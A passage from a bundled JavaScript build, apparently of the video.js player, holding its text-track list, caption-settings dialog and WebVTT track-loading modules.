  14701. function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key]; } } newObj['default'] = obj; return newObj; } }
  14702. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  14703. function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
  14704. function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
  14705. var _trackList = _dereq_('./track-list');
  14706. var _trackList2 = _interopRequireDefault(_trackList);
  14707. var _utilsFnJs = _dereq_('../utils/fn.js');
  14708. var Fn = _interopRequireWildcard(_utilsFnJs);
  14709. var _utilsBrowserJs = _dereq_('../utils/browser.js');
  14710. var browser = _interopRequireWildcard(_utilsBrowserJs);
  14711. var _globalDocument = _dereq_('global/document');
  14712. var _globalDocument2 = _interopRequireDefault(_globalDocument);
  14713. /**
  14714. * A list of possible text tracks. All functionality is in the
  14715. * base class TrackList. The spec for TextTrackList is located at:
  14716. * @link https://html.spec.whatwg.org/multipage/embedded-content.html#texttracklist
  14717. *
  14718. * interface TextTrackList : EventTarget {
  14719. * readonly attribute unsigned long length;
  14720. * getter TextTrack (unsigned long index);
  14721. * TextTrack? getTrackById(DOMString id);
  14722. *
  14723. * attribute EventHandler onchange;
  14724. * attribute EventHandler onaddtrack;
  14725. * attribute EventHandler onremovetrack;
  14726. * };
  14727. *
  14728. * @param {TextTrack[]} tracks A list of tracks to initialize the list with
  14729. * @extends TrackList
  14730. * @class TextTrackList
  14731. */
  14732. var TextTrackList = (function (_TrackList) {
  14733. _inherits(TextTrackList, _TrackList);
  14734. function TextTrackList() {
  14735. var tracks = arguments.length <= 0 || arguments[0] === undefined ? [] : arguments[0];
  14736. _classCallCheck(this, TextTrackList);
  14737. var list = undefined;
  14738. // IE8 forces us to implement inheritance ourselves
  14739. // as it does not support Object.defineProperty properly
  14740. if (browser.IS_IE8) {
  14741. list = _globalDocument2['default'].createElement('custom');
  14742. for (var prop in _trackList2['default'].prototype) {
  14743. if (prop !== 'constructor') {
  14744. list[prop] = _trackList2['default'].prototype[prop];
  14745. }
  14746. }
  14747. for (var prop in TextTrackList.prototype) {
  14748. if (prop !== 'constructor') {
  14749. list[prop] = TextTrackList.prototype[prop];
  14750. }
  14751. }
  14752. }
  14753. list = _TrackList.call(this, tracks, list);
  14754. return list;
  14755. }
  14756. TextTrackList.prototype.addTrack_ = function addTrack_(track) {
  14757. _TrackList.prototype.addTrack_.call(this, track);
  14758. track.addEventListener('modechange', Fn.bind(this, function () {
  14759. this.trigger('change');
  14760. }));
  14761. };
  14762. /**
  14763. * Remove TextTrack from TextTrackList
  14764. * NOTE: Be mindful of what is passed in as it may be a HTMLTrackElement
  14765. *
  14766. * @param {TextTrack} rtrack
  14767. * @method removeTrack_
  14768. * @private
  14769. */
  14770. TextTrackList.prototype.removeTrack_ = function removeTrack_(rtrack) {
  14771. var track = undefined;
  14772. for (var i = 0, l = this.length; i < l; i++) {
  14773. if (this[i] === rtrack) {
  14774. track = this[i];
  14775. if (track.off) {
  14776. track.off();
  14777. }
  14778. this.tracks_.splice(i, 1);
  14779. break;
  14780. }
  14781. }
  14782. if (!track) {
  14783. return;
  14784. }
  14785. this.trigger({
  14786. track: track,
  14787. type: 'removetrack'
  14788. });
  14789. };
  14790. /**
  14791. * Get a TextTrack from TextTrackList by a tracks id
  14792. *
  14793. * @param {String} id - the id of the track to get
  14794. * @method getTrackById
  14795. * @return {TextTrack}
  14796. * @private
  14797. */
  14798. TextTrackList.prototype.getTrackById = function getTrackById(id) {
  14799. var result = null;
  14800. for (var i = 0, l = this.length; i < l; i++) {
  14801. var track = this[i];
  14802. if (track.id === id) {
  14803. result = track;
  14804. break;
  14805. }
  14806. }
  14807. return result;
  14808. };
  14809. return TextTrackList;
  14810. })(_trackList2['default']);
  14811. exports['default'] = TextTrackList;
  14812. module.exports = exports['default'];
  14813. },{"../utils/browser.js":140,"../utils/fn.js":144,"./track-list":136,"global/document":1}],133:[function(_dereq_,module,exports){
  14814. /**
  14815. * @file text-track-settings.js
  14816. */
  14817. 'use strict';
  14818. exports.__esModule = true;
  14819. function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key]; } } newObj['default'] = obj; return newObj; } }
  14820. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  14821. function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
  14822. function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
  14823. var _component = _dereq_('../component');
  14824. var _component2 = _interopRequireDefault(_component);
  14825. var _utilsEventsJs = _dereq_('../utils/events.js');
  14826. var Events = _interopRequireWildcard(_utilsEventsJs);
  14827. var _utilsFnJs = _dereq_('../utils/fn.js');
  14828. var Fn = _interopRequireWildcard(_utilsFnJs);
  14829. var _utilsLogJs = _dereq_('../utils/log.js');
  14830. var _utilsLogJs2 = _interopRequireDefault(_utilsLogJs);
  14831. var _safeJsonParseTuple = _dereq_('safe-json-parse/tuple');
  14832. var _safeJsonParseTuple2 = _interopRequireDefault(_safeJsonParseTuple);
  14833. var _globalWindow = _dereq_('global/window');
  14834. var _globalWindow2 = _interopRequireDefault(_globalWindow);
  14835. /**
  14836. * Manipulate settings of texttracks
  14837. *
  14838. * @param {Object} player Main Player
  14839. * @param {Object=} options Object of option names and values
  14840. * @extends Component
  14841. * @class TextTrackSettings
  14842. */
  14843. var TextTrackSettings = (function (_Component) {
  14844. _inherits(TextTrackSettings, _Component);
  14845. function TextTrackSettings(player, options) {
  14846. _classCallCheck(this, TextTrackSettings);
  14847. _Component.call(this, player, options);
  14848. this.hide();
  14849. // Grab `persistTextTrackSettings` from the player options if not passed in child options
  14850. if (options.persistTextTrackSettings === undefined) {
  14851. this.options_.persistTextTrackSettings = this.options_.playerOptions.persistTextTrackSettings;
  14852. }
  14853. Events.on(this.$('.vjs-done-button'), 'click', Fn.bind(this, function () {
  14854. this.saveSettings();
  14855. this.hide();
  14856. }));
  14857. Events.on(this.$('.vjs-default-button'), 'click', Fn.bind(this, function () {
  14858. this.$('.vjs-fg-color > select').selectedIndex = 0;
  14859. this.$('.vjs-bg-color > select').selectedIndex = 0;
  14860. this.$('.window-color > select').selectedIndex = 0;
  14861. this.$('.vjs-text-opacity > select').selectedIndex = 0;
  14862. this.$('.vjs-bg-opacity > select').selectedIndex = 0;
  14863. this.$('.vjs-window-opacity > select').selectedIndex = 0;
  14864. this.$('.vjs-edge-style select').selectedIndex = 0;
  14865. this.$('.vjs-font-family select').selectedIndex = 0;
  14866. this.$('.vjs-font-percent select').selectedIndex = 2;
  14867. this.updateDisplay();
  14868. }));
  14869. Events.on(this.$('.vjs-fg-color > select'), 'change', Fn.bind(this, this.updateDisplay));
  14870. Events.on(this.$('.vjs-bg-color > select'), 'change', Fn.bind(this, this.updateDisplay));
  14871. Events.on(this.$('.window-color > select'), 'change', Fn.bind(this, this.updateDisplay));
  14872. Events.on(this.$('.vjs-text-opacity > select'), 'change', Fn.bind(this, this.updateDisplay));
  14873. Events.on(this.$('.vjs-bg-opacity > select'), 'change', Fn.bind(this, this.updateDisplay));
  14874. Events.on(this.$('.vjs-window-opacity > select'), 'change', Fn.bind(this, this.updateDisplay));
  14875. Events.on(this.$('.vjs-font-percent select'), 'change', Fn.bind(this, this.updateDisplay));
  14876. Events.on(this.$('.vjs-edge-style select'), 'change', Fn.bind(this, this.updateDisplay));
  14877. Events.on(this.$('.vjs-font-family select'), 'change', Fn.bind(this, this.updateDisplay));
  14878. if (this.options_.persistTextTrackSettings) {
  14879. this.restoreSettings();
  14880. }
  14881. }
  14882. /**
  14883. * Create the component's DOM element
  14884. *
  14885. * @return {Element}
  14886. * @method createEl
  14887. */
  14888. TextTrackSettings.prototype.createEl = function createEl() {
  14889. var uniqueId = this.id_;
  14890. var dialogLabelId = 'TTsettingsDialogLabel-' + uniqueId;
  14891. var dialogDescriptionId = 'TTsettingsDialogDescription-' + uniqueId;
  14892. return _Component.prototype.createEl.call(this, 'div', {
  14893. className: 'vjs-caption-settings vjs-modal-overlay',
  14894. innerHTML: captionOptionsMenuTemplate(uniqueId, dialogLabelId, dialogDescriptionId),
  14895. tabIndex: -1
  14896. }, {
  14897. role: 'dialog',
  14898. 'aria-labelledby': dialogLabelId,
  14899. 'aria-describedby': dialogDescriptionId
  14900. });
  14901. };
  14902. /**
  14903. * Get texttrack settings
  14904. * Settings are
  14905. * .vjs-edge-style
  14906. * .vjs-font-family
  14907. * .vjs-fg-color
  14908. * .vjs-text-opacity
  14909. * .vjs-bg-color
  14910. * .vjs-bg-opacity
  14911. * .window-color
  14912. * .vjs-window-opacity
  14913. *
  14914. * @return {Object}
  14915. * @method getValues
  14916. */
  14917. TextTrackSettings.prototype.getValues = function getValues() {
  14918. var textEdge = getSelectedOptionValue(this.$('.vjs-edge-style select'));
  14919. var fontFamily = getSelectedOptionValue(this.$('.vjs-font-family select'));
  14920. var fgColor = getSelectedOptionValue(this.$('.vjs-fg-color > select'));
  14921. var textOpacity = getSelectedOptionValue(this.$('.vjs-text-opacity > select'));
  14922. var bgColor = getSelectedOptionValue(this.$('.vjs-bg-color > select'));
  14923. var bgOpacity = getSelectedOptionValue(this.$('.vjs-bg-opacity > select'));
  14924. var windowColor = getSelectedOptionValue(this.$('.window-color > select'));
  14925. var windowOpacity = getSelectedOptionValue(this.$('.vjs-window-opacity > select'));
  14926. var fontPercent = _globalWindow2['default']['parseFloat'](getSelectedOptionValue(this.$('.vjs-font-percent > select')));
  14927. var result = {
  14928. 'backgroundOpacity': bgOpacity,
  14929. 'textOpacity': textOpacity,
  14930. 'windowOpacity': windowOpacity,
  14931. 'edgeStyle': textEdge,
  14932. 'fontFamily': fontFamily,
  14933. 'color': fgColor,
  14934. 'backgroundColor': bgColor,
  14935. 'windowColor': windowColor,
  14936. 'fontPercent': fontPercent
  14937. };
  14938. for (var _name in result) {
  14939. if (result[_name] === '' || result[_name] === 'none' || _name === 'fontPercent' && result[_name] === 1.00) {
  14940. delete result[_name];
  14941. }
  14942. }
  14943. return result;
  14944. };
  14945. /**
  14946. * Set texttrack settings
  14947. * Settings are
  14948. * .vjs-edge-style
  14949. * .vjs-font-family
  14950. * .vjs-fg-color
  14951. * .vjs-text-opacity
  14952. * .vjs-bg-color
  14953. * .vjs-bg-opacity
  14954. * .window-color
  14955. * .vjs-window-opacity
  14956. *
  14957. * @param {Object} values Object with texttrack setting values
  14958. * @method setValues
  14959. */
  14960. TextTrackSettings.prototype.setValues = function setValues(values) {
  14961. setSelectedOption(this.$('.vjs-edge-style select'), values.edgeStyle);
  14962. setSelectedOption(this.$('.vjs-font-family select'), values.fontFamily);
  14963. setSelectedOption(this.$('.vjs-fg-color > select'), values.color);
  14964. setSelectedOption(this.$('.vjs-text-opacity > select'), values.textOpacity);
  14965. setSelectedOption(this.$('.vjs-bg-color > select'), values.backgroundColor);
  14966. setSelectedOption(this.$('.vjs-bg-opacity > select'), values.backgroundOpacity);
  14967. setSelectedOption(this.$('.window-color > select'), values.windowColor);
  14968. setSelectedOption(this.$('.vjs-window-opacity > select'), values.windowOpacity);
  14969. var fontPercent = values.fontPercent;
  14970. if (fontPercent) {
  14971. fontPercent = fontPercent.toFixed(2);
  14972. }
  14973. setSelectedOption(this.$('.vjs-font-percent > select'), fontPercent);
  14974. };
  14975. /**
  14976. * Restore texttrack settings
  14977. *
  14978. * @method restoreSettings
  14979. */
  14980. TextTrackSettings.prototype.restoreSettings = function restoreSettings() {
  14981. var err = undefined,
  14982. values = undefined;
  14983. try {
  14984. var _safeParseTuple = _safeJsonParseTuple2['default'](_globalWindow2['default'].localStorage.getItem('vjs-text-track-settings'));
  14985. err = _safeParseTuple[0];
  14986. values = _safeParseTuple[1];
  14987. if (err) {
  14988. _utilsLogJs2['default'].error(err);
  14989. }
  14990. } catch (e) {
  14991. _utilsLogJs2['default'].warn(e);
  14992. }
  14993. if (values) {
  14994. this.setValues(values);
  14995. }
  14996. };
  14997. /**
  14998. * Save texttrack settings to local storage
  14999. *
  15000. * @method saveSettings
  15001. */
  15002. TextTrackSettings.prototype.saveSettings = function saveSettings() {
  15003. if (!this.options_.persistTextTrackSettings) {
  15004. return;
  15005. }
  15006. var values = this.getValues();
  15007. try {
  15008. if (Object.getOwnPropertyNames(values).length > 0) {
  15009. _globalWindow2['default'].localStorage.setItem('vjs-text-track-settings', JSON.stringify(values));
  15010. } else {
  15011. _globalWindow2['default'].localStorage.removeItem('vjs-text-track-settings');
  15012. }
  15013. } catch (e) {
  15014. _utilsLogJs2['default'].warn(e);
  15015. }
  15016. };
  15017. /**
  15018. * Update display of texttrack settings
  15019. *
  15020. * @method updateDisplay
  15021. */
  15022. TextTrackSettings.prototype.updateDisplay = function updateDisplay() {
  15023. var ttDisplay = this.player_.getChild('textTrackDisplay');
  15024. if (ttDisplay) {
  15025. ttDisplay.updateDisplay();
  15026. }
  15027. };
  15028. return TextTrackSettings;
  15029. })(_component2['default']);
  15030. _component2['default'].registerComponent('TextTrackSettings', TextTrackSettings);
  15031. function getSelectedOptionValue(target) {
  15032. var selectedOption = undefined;
  15033. // not all browsers support selectedOptions, so, fallback to options
  15034. if (target.selectedOptions) {
  15035. selectedOption = target.selectedOptions[0];
  15036. } else if (target.options) {
  15037. selectedOption = target.options[target.options.selectedIndex];
  15038. }
  15039. return selectedOption.value;
  15040. }
  15041. function setSelectedOption(target, value) {
  15042. if (!value) {
  15043. return;
  15044. }
  15045. var i = undefined;
  15046. for (i = 0; i < target.options.length; i++) {
  15047. var option = target.options[i];
  15048. if (option.value === value) {
  15049. break;
  15050. }
  15051. }
  15052. target.selectedIndex = i;
  15053. }
  15054. function captionOptionsMenuTemplate(uniqueId, dialogLabelId, dialogDescriptionId) {
  15055. var template = '\n <div role="document">\n <div role="heading" aria-level="1" id="' + dialogLabelId + '" class="vjs-control-text">Captions Settings Dialog</div>\n <div id="' + dialogDescriptionId + '" class="vjs-control-text">Beginning of dialog window. Escape will cancel and close the window.</div>\n <div class="vjs-tracksettings">\n <div class="vjs-tracksettings-colors">\n <fieldset class="vjs-fg-color vjs-tracksetting">\n <legend>Text</legend>\n <label class="vjs-label" for="captions-foreground-color-' + uniqueId + '">Color</label>\n <select id="captions-foreground-color-' + uniqueId + '">\n <option value="#FFF" selected>White</option>\n <option value="#000">Black</option>\n <option value="#F00">Red</option>\n <option value="#0F0">Green</option>\n <option value="#00F">Blue</option>\n <option value="#FF0">Yellow</option>\n <option value="#F0F">Magenta</option>\n <option value="#0FF">Cyan</option>\n </select>\n <span class="vjs-text-opacity vjs-opacity">\n <label class="vjs-label" for="captions-foreground-opacity-' + uniqueId + '">Transparency</label>\n <select id="captions-foreground-opacity-' + uniqueId + '">\n <option value="1" selected>Opaque</option>\n <option value="0.5">Semi-Opaque</option>\n </select>\n </span>\n </fieldset>\n <fieldset class="vjs-bg-color vjs-tracksetting">\n <legend>Background</legend>\n <label class="vjs-label" for="captions-background-color-' + uniqueId + '">Color</label>\n <select id="captions-background-color-' + uniqueId + '">\n <option value="#000" selected>Black</option>\n <option value="#FFF">White</option>\n <option value="#F00">Red</option>\n <option value="#0F0">Green</option>\n <option value="#00F">Blue</option>\n <option value="#FF0">Yellow</option>\n <option value="#F0F">Magenta</option>\n <option value="#0FF">Cyan</option>\n </select>\n <span class="vjs-bg-opacity vjs-opacity">\n <label class="vjs-label" for="captions-background-opacity-' + uniqueId + '">Transparency</label>\n <select id="captions-background-opacity-' + uniqueId + '">\n <option value="1" selected>Opaque</option>\n <option value="0.5">Semi-Transparent</option>\n <option value="0">Transparent</option>\n </select>\n </span>\n </fieldset>\n <fieldset class="window-color vjs-tracksetting">\n <legend>Window</legend>\n <label class="vjs-label" for="captions-window-color-' + uniqueId + '">Color</label>\n <select id="captions-window-color-' + uniqueId + '">\n <option value="#000" selected>Black</option>\n <option value="#FFF">White</option>\n <option value="#F00">Red</option>\n <option value="#0F0">Green</option>\n <option value="#00F">Blue</option>\n <option value="#FF0">Yellow</option>\n <option value="#F0F">Magenta</option>\n <option value="#0FF">Cyan</option>\n </select>\n <span class="vjs-window-opacity vjs-opacity">\n <label class="vjs-label" for="captions-window-opacity-' + uniqueId + '">Transparency</label>\n <select id="captions-window-opacity-' + uniqueId + '">\n <option value="0" selected>Transparent</option>\n <option value="0.5">Semi-Transparent</option>\n <option value="1">Opaque</option>\n </select>\n </span>\n </fieldset>\n </div> <!-- vjs-tracksettings-colors -->\n <div class="vjs-tracksettings-font">\n <div class="vjs-font-percent vjs-tracksetting">\n <label class="vjs-label" for="captions-font-size-' + uniqueId + '">Font Size</label>\n <select id="captions-font-size-' + uniqueId + '">\n <option value="0.50">50%</option>\n <option value="0.75">75%</option>\n <option value="1.00" selected>100%</option>\n <option value="1.25">125%</option>\n <option value="1.50">150%</option>\n <option value="1.75">175%</option>\n <option value="2.00">200%</option>\n <option value="3.00">300%</option>\n <option value="4.00">400%</option>\n </select>\n </div>\n <div class="vjs-edge-style vjs-tracksetting">\n <label class="vjs-label" for="captions-edge-style-' + uniqueId + '">Text Edge Style</label>\n <select id="captions-edge-style-' + uniqueId + '">\n <option value="none" selected>None</option>\n <option value="raised">Raised</option>\n <option value="depressed">Depressed</option>\n <option value="uniform">Uniform</option>\n <option value="dropshadow">Dropshadow</option>\n </select>\n </div>\n <div class="vjs-font-family vjs-tracksetting">\n <label class="vjs-label" for="captions-font-family-' + uniqueId + '">Font Family</label>\n <select id="captions-font-family-' + uniqueId + '">\n <option value="proportionalSansSerif" selected>Proportional Sans-Serif</option>\n <option value="monospaceSansSerif">Monospace Sans-Serif</option>\n <option value="proportionalSerif">Proportional Serif</option>\n <option value="monospaceSerif">Monospace Serif</option>\n <option value="casual">Casual</option>\n <option value="script">Script</option>\n <option value="small-caps">Small Caps</option>\n </select>\n </div>\n </div> <!-- vjs-tracksettings-font -->\n <div class="vjs-tracksettings-controls">\n <button class="vjs-default-button">Defaults</button>\n <button class="vjs-done-button">Done</button>\n </div>\n </div> <!-- vjs-tracksettings -->\n </div> <!-- role="document" -->';
  15056. return template;
  15057. }
  15058. exports['default'] = TextTrackSettings;
  15059. module.exports = exports['default'];
  15060. },{"../component":67,"../utils/events.js":143,"../utils/fn.js":144,"../utils/log.js":147,"global/window":2,"safe-json-parse/tuple":54}],134:[function(_dereq_,module,exports){
  15061. /**
  15062. * @file text-track.js
  15063. */
  15064. 'use strict';
  15065. exports.__esModule = true;
  15066. function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key]; } } newObj['default'] = obj; return newObj; } }
  15067. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  15068. function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
  15069. function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
  15070. var _textTrackCueList = _dereq_('./text-track-cue-list');
  15071. var _textTrackCueList2 = _interopRequireDefault(_textTrackCueList);
  15072. var _utilsFnJs = _dereq_('../utils/fn.js');
  15073. var Fn = _interopRequireWildcard(_utilsFnJs);
  15074. var _trackEnums = _dereq_('./track-enums');
  15075. var _utilsLogJs = _dereq_('../utils/log.js');
  15076. var _utilsLogJs2 = _interopRequireDefault(_utilsLogJs);
  15077. var _globalDocument = _dereq_('global/document');
  15078. var _globalDocument2 = _interopRequireDefault(_globalDocument);
  15079. var _globalWindow = _dereq_('global/window');
  15080. var _globalWindow2 = _interopRequireDefault(_globalWindow);
  15081. var _trackJs = _dereq_('./track.js');
  15082. var _trackJs2 = _interopRequireDefault(_trackJs);
  15083. var _utilsUrlJs = _dereq_('../utils/url.js');
  15084. var _xhr = _dereq_('xhr');
  15085. var _xhr2 = _interopRequireDefault(_xhr);
  15086. var _utilsMergeOptions = _dereq_('../utils/merge-options');
  15087. var _utilsMergeOptions2 = _interopRequireDefault(_utilsMergeOptions);
  15088. var _utilsBrowserJs = _dereq_('../utils/browser.js');
  15089. var browser = _interopRequireWildcard(_utilsBrowserJs);
  15090. /**
  15091. * takes a webvtt file contents and parses it into cues
  15092. *
  15093. * @param {String} srcContent webVTT file contents
  15094. * @param {Track} track track to addcues to
  15095. */
  15096. var parseCues = function parseCues(srcContent, track) {
  15097. var parser = new _globalWindow2['default'].WebVTT.Parser(_globalWindow2['default'], _globalWindow2['default'].vttjs, _globalWindow2['default'].WebVTT.StringDecoder());
  15098. var errors = [];
  15099. parser.oncue = function (cue) {
  15100. track.addCue(cue);
  15101. };
  15102. parser.onparsingerror = function (error) {
  15103. errors.push(error);
  15104. };
  15105. parser.onflush = function () {
  15106. track.trigger({
  15107. type: 'loadeddata',
  15108. target: track
  15109. });
  15110. };
  15111. parser.parse(srcContent);
  15112. if (errors.length > 0) {
  15113. if (console.groupCollapsed) {
  15114. console.groupCollapsed('Text Track parsing errors for ' + track.src);
  15115. }
  15116. errors.forEach(function (error) {
  15117. return _utilsLogJs2['default'].error(error);
  15118. });
  15119. if (console.groupEnd) {
  15120. console.groupEnd();
  15121. }
  15122. }
  15123. parser.flush();
  15124. };
  15125. /**
  15126. * load a track from a specifed url
  15127. *
  15128. * @param {String} src url to load track from
  15129. * @param {Track} track track to addcues to
  15130. */
  15131. var loadTrack = function loadTrack(src, track) {
  15132. var opts = {
  15133. uri: src
  15134. };
  15135. var crossOrigin = _utilsUrlJs.isCrossOrigin(src);
  15136. if (crossOrigin) {
  15137. opts.cors = crossOrigin;
  15138. }
  15139. _xhr2['default'](opts, Fn.bind(this, function (err, response, responseBody) {
  15140. if (err) {
  15141. return _utilsLogJs2['default'].error(err, response);
  15142. }
  15143. track.loaded_ = true;
  15144. // Make sure that vttjs has loaded, otherwise, wait till it finished loading
  15145. // NOTE: this is only used for the alt/video.novtt.js build
  15146. if (typeof _globalWindow2['default'].WebVTT !== 'function') {
  15147. if (track.tech_) {
  15148. (function () {
  15149. var loadHandler = function loadHandler() {
  15150. return parseCues(responseBody, track);
  15151. };
  15152. track.tech_.on('vttjsloaded', loadHandler);
  15153. track.tech_.on('vttjserror', function () {
  15154. _utilsLogJs2['default'].error('vttjs failed to load, stopping trying to process ' + track.src);
  15155. track.tech_.off('vttjsloaded', loadHandler);
  15156. });
  15157. })();
  15158. }
  15159. } else {
  15160. parseCues(responseBody, track);
  15161. }
  15162. }));
  15163. };
  15164. /**
  15165. * A single text track as defined in:
  15166. * @link https://html.spec.whatwg.org/multipage/embedded-content.html#texttrack
  15167. *
  15168. * interface TextTrack : EventTarget {
  15169. * readonly attribute TextTrackKind kind;
  15170. * readonly attribute DOMString label;
  15171. * readonly attribute DOMString language;
  15172. *
  15173. * readonly attribute DOMString id;
  15174. * readonly attribute DOMString inBandMetadataTrackDispatchType;
  15175. *
  15176. * attribute TextTrackMode mode;
  15177. *
  15178. * readonly attribute TextTrackCueList? cues;
  15179. * readonly attribute TextTrackCueList? activeCues;
  15180. *
  15181. * void addCue(TextTrackCue cue);
  15182. * void removeCue(TextTrackCue cue);
  15183. *
  15184. * attribute EventHandler oncuechange;
  15185. * };
  15186. *
  15187. * @param {Object=} options Object of option names and values
  15188. * @extends Track
  15189. * @class TextTrack
  15190. */
  15191. var TextTrack = (function (_Track) {
  15192. _inherits(TextTrack, _Track);
  15193. function TextTrack() {
  15194. var options = arguments.length <= 0 || arguments[0] === undefined ? {} : arguments[0];
  15195. _classCallCheck(this, TextTrack);
  15196. if (!options.tech) {
  15197. throw new Error('A tech was not provided.');
  15198. }
  15199. var settings = _utilsMergeOptions2['default'](options, {
  15200. kind: _trackEnums.TextTrackKind[options.kind] || 'subtitles',
  15201. language: options.language || options.srclang || ''
  15202. });
  15203. var mode = _trackEnums.TextTrackMode[settings.mode] || 'disabled';
  15204. var default_ = settings['default'];
  15205. if (settings.kind === 'metadata' || settings.kind === 'chapters') {
  15206. mode = 'hidden';
  15207. }
  15208. // on IE8 this will be a document element
  15209. // for every other browser this will be a normal object
  15210. var tt = _Track.call(this, settings);
  15211. tt.tech_ = settings.tech;
  15212. if (browser.IS_IE8) {
  15213. for (var prop in TextTrack.prototype) {
  15214. if (prop !== 'constructor') {
  15215. tt[prop] = TextTrack.prototype[prop];
  15216. }
  15217. }
  15218. }
  15219. tt.cues_ = [];
  15220. tt.activeCues_ = [];
  15221. var cues = new _textTrackCueList2['default'](tt.cues_);
  15222. var activeCues = new _textTrackCueList2['default'](tt.activeCues_);
  15223. var changed = false;
  15224. var timeupdateHandler = Fn.bind(tt, function () {
  15225. this.activeCues;
  15226. if (changed) {
  15227. this.trigger('cuechange');
  15228. changed = false;
  15229. }
  15230. });
  15231. if (mode !== 'disabled') {
  15232. tt.tech_.on('timeupdate', timeupdateHandler);
  15233. }
  15234. Object.defineProperty(tt, 'default', {
  15235. get: function get() {
  15236. return default_;
  15237. },
  15238. set: function set() {}
  15239. });
  15240. Object.defineProperty(tt, 'mode', {
  15241. get: function get() {
  15242. return mode;
  15243. },
  15244. set: function set(newMode) {
  15245. if (!_trackEnums.TextTrackMode[newMode]) {
  15246. return;
  15247. }
  15248. mode = newMode;
  15249. if (mode === 'showing') {
  15250. this.tech_.on('timeupdate', timeupdateHandler);
  15251. }
  15252. this.trigger('modechange');
  15253. }
  15254. });
  15255. Object.defineProperty(tt, 'cues', {
  15256. get: function get() {
  15257. if (!this.loaded_) {
  15258. return null;
  15259. }
  15260. return cues;
  15261. },
  15262. set: function set() {}
  15263. });
  15264. Object.defineProperty(tt, 'activeCues', {
  15265. get: function get() {
  15266. if (!this.loaded_) {
  15267. return null;
  15268. }
  15269. // nothing to do
  15270. if (this.cues.length === 0) {
  15271. return activeCues;
  15272. }
  15273. var ct = this.tech_.currentTime();
  15274. var active = [];
  15275. for (var i = 0, l = this.cues.length; i < l; i++) {
  15276. var cue = this.cues[i];
  15277. if (cue.startTime <= ct && cue.endTime >= ct) {
  15278. active.push(cue);
  15279. } else if (cue.startTime === cue.endTime && cue.startTime <= ct && cue.startTime + 0.5 >= ct) {
  15280. active.push(cue);
  15281. }
  15282. }
  15283. changed = false;
  15284. if (active.length !== this.activeCues_.length) {
  15285. changed = true;
  15286. } else {
  15287. for (var i = 0; i < active.length; i++) {
  15288. if (this.activeCues_.indexOf(active[i]) === -1) {
  15289. changed = true;
  15290. }
  15291. }
  15292. }
  15293. this.activeCues_ = active;
  15294. activeCues.setCues_(this.activeCues_);
  15295. return activeCues;
  15296. },
  15297. set: function set() {}
  15298. });
  15299. if (settings.src) {
  15300. tt.src = settings.src;
  15301. loadTrack(settings.src, tt);
  15302. } else {
  15303. tt.loaded_ = true;
  15304. }
  15305. return tt;
  15306. }
  15307. /**
  15308. * cuechange - One or more cues in the track have become active or stopped being active.
  15309. */
  15310. /**
  15311. * add a cue to the internal list of cues
  15312. *
  15313. * @param {Object} cue the cue to add to our internal list
  15314. * @method addCue
  15315. */
  15316. TextTrack.prototype.addCue = function addCue(cue) {
  15317. var tracks = this.tech_.textTracks();
  15318. if (tracks) {
  15319. for (var i = 0; i < tracks.length; i++) {
  15320. if (tracks[i] !== this) {
  15321. tracks[i].removeCue(cue);
  15322. }
  15323. }
  15324. }
  15325. this.cues_.push(cue);
  15326. this.cues.setCues_(this.cues_);
  15327. };
  15328. /**
  15329. * remvoe a cue from our internal list
  15330. *
  15331. * @param {Object} removeCue the cue to remove from our internal list
  15332. * @method removeCue
  15333. */
  15334. TextTrack.prototype.removeCue = function removeCue(_removeCue) {
  15335. var removed = false;
  15336. for (var i = 0, l = this.cues_.length; i < l; i++) {
  15337. var cue = this.cues_[i];
  15338. if (cue === _removeCue) {
  15339. this.cues_.splice(i, 1);
  15340. removed = true;
  15341. }
  15342. }
  15343. if (removed) {
  15344. this.cues.setCues_(this.cues_);
  15345. }
  15346. };
  15347. return TextTrack;
  15348. })(_trackJs2['default']);
  15349. TextTrack.prototype.allowedEvents_ = {
  15350. cuechange: 'cuechange'
  15351. };
  15352. exports['default'] = TextTrack;
  15353. module.exports = exports['default'];
  15354. },{"../utils/browser.js":140,"../utils/fn.js":144,"../utils/log.js":147,"../utils/merge-options":148,"../utils/url.js":152,"./text-track-cue-list":129,"./track-enums":135,"./track.js":137,"global/document":1,"global/window":2,"xhr":56}],135:[function(_dereq_,module,exports){
  15355. /**
  15356. * @file track-kinds.js
  15357. */
  15358. /**
  15359. * https://html.spec.whatwg.org/multipage/embedded-content.html#dom-videotrack-kind
  15360. *
